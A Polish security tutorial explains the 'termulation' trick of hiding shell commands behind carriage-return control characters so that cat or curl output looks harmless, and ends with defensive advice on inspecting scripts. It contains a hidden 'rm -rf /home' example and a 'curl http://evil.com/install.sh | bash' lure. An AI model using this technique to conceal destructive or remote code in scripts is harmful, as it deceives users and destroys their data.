Terminal emulation attack (termulation)

Atak Termulation znany jest od 2003 roku i jest bardzo zblizony do :ref:` Bash quote Attack <topic_ref-bash-quote-attack>`, jednak jego rozpoczęcie i przeprowadzenie jest trochę inne.

Zasada działania ataku

  1. Utwórzmy skrypt o nazwie evil.sh na dysku zgodnie z kodem poniżej:
$ cat > evil.sh <<EOF
echo rm -rf /home; FOO=^M echo "nothing fishy here!"
EOF

Podpowiedź

Pamiętajcie żeby zamiast ^M wpisac :kdb:`Ctrl`+:kdb:`V` i :kdb:`Ctrl` + :kdb:`M` (co spowoduje dodanie w skrypcie kodu ASCII 0d (hex)). Kod x0d lub jak kto woli ^M oznacza w tablicy kodów ASCII „powrót karetki” - czyli przesunięcie kursora do 0 kolumny w wierszu terminala.

  1. Następnie tak utworzony plik wyświetlimy poleceniem cat.
$ cat evil.sh
echo "nothing fishy here!"

Ostrzeżenie

Skrypt wyświetlony poleceniem cat nie zawiera niczego podejrzanego - polecenie echo rm -rf /home; magicznie zostało pominięte.

  1. Wykonanie lub dołączenie skryptu evil.sh spowoduje wykonanie dwóch poleceń :(
$ source evil.sh
rm -rf /home
nothing fishy here!

Zainteresowanym tematyką polecam też większy research w temacie.

Gdzie wykorzystywana jest technika termulation?

Technika ukrywania poleceń skryptów przy wykorzystaniu znaków sterujących może być wykorzystana do `ukrycia w pliku jaki pobieramy "specjalnej" zawartości<https://sekurak.pl/ukrywanie-polecen-w-skryptach-shellowych-niezly-hack/>`__, a następnie jej uruchomieniu.

Jak wykorzystywana jest technika termulation?

  1. Umieszczamy skrypt ze znakami specjalnymi na serwerze http://evil.com/install.sh
  2. Następnie prosimy użytkownika by uruchomił komende: curl http://evil.com/install.sh | bash
  3. Jeżeli użytkownik jest choć trochę świadomy ryzyka to sprawdzi zawartość pliku przed uruchomieniem, jest bardzo duża szansa że zrobi to w taki sposób:
$ curl http://evil.com/install.sh
....
....
....
  1. Wyświetlając w ten sposób zawartość pliku nie zauwazy niczego podejrzanego (znaki sterujące zostaną zinterpretowane przez terminal)
  2. Użytkownik po weryfikacji skryptu uruchomi go nieświadomie komendą:
$ curl http://evil.com/install.sh | bash
...
...
...
  1. Właśnie przejęliśmy komputer użytkownika ;)

Jak się bronić?

Jeżeli pobieramy jakiś skrpt z internetu i chcemy go uruchomić koniecznie sprawdźmy jego zawartość. Pobranie skryptu poprzez polecenie curl (curl http://evil.com/install.sh) i wyświetlenie go na terminalu bez zapisania to często za mało.

Zawartość kodów jakie uruchamiamy na swoim komputerze musimy sprawdzać wprost z naszego dysku twardego, wtedy mamy pewność, że zweryfikowaliśmy dokładnie ten sam zbiór jaki za chwilkę uruchomimy.

Sprawdzania nieznanym skryptów dokunujemy edytorami tekstu takimi jak vim, emacs, nano, pico lub poleceniami less, more.

Ostrzeżenie

Nie korzystamy z poleceń które nie obsługują quotowania znaków specjalnych.

Polecenie curl i cat przy domyslnej konfiguracji wypisze zawartość podanego zbioru na terminal w sposób „bezmyślny” - powodując tym samym, że znaki sterujące ukryte w tych plikach zostaną przez terminal zinterpretowane.

Dodatkowe informacje

Rozszerzeniem tej techniki jest ukrywanie poleceń w kolorowych napisach;).